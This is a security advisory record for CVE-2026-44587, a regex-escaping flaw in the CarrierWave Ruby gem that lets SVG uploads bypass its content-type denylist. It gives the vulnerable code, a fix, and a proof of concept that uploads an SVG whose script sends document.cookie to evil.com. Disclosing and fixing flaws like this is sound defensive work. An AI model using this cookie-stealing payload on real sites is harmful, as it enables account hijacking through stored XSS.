{"id":"CVE-2026-44587","aliases":["GHSA-7g26-2qgj-chfg"],"url":"https://o3.security/vulnerability/CVE-2026-44587","summary":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","details":"### Summary\nCarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader < CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError => e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb &\n\necho '<svg xmlns=\"http://www.w3.org/2000/svg\"><script>document.location=\"https://evil.com/?c=\"+document.cookie</script></svg>' > xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary","published":"2026-06-16T23:10:43.665Z","modified":"2026-08-12T03:51:40.328013956Z","cvss":{"score":4.7,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"},"epss":{"score":0.00223,"percentile":0.12747,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"carrierwave","fixedVersion":"3.1.3"},{"ecosystem":"RubyGems","name":"carrierwave","fixedVersion":"2.2.7"}],"fix":{"url":"https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27","label":"carrierwaveuploader/carrierwave@21221cc"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44587.json"},{"type":"ADVISORY","url":"https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44587"},{"type":"FIX","url":"https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27"},{"type":"FIX","url":"https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c"},{"type":"PACKAGE","url":"https://github.com/carrierwaveuploader/carrierwave"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-44587"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:40.328013956Z"}}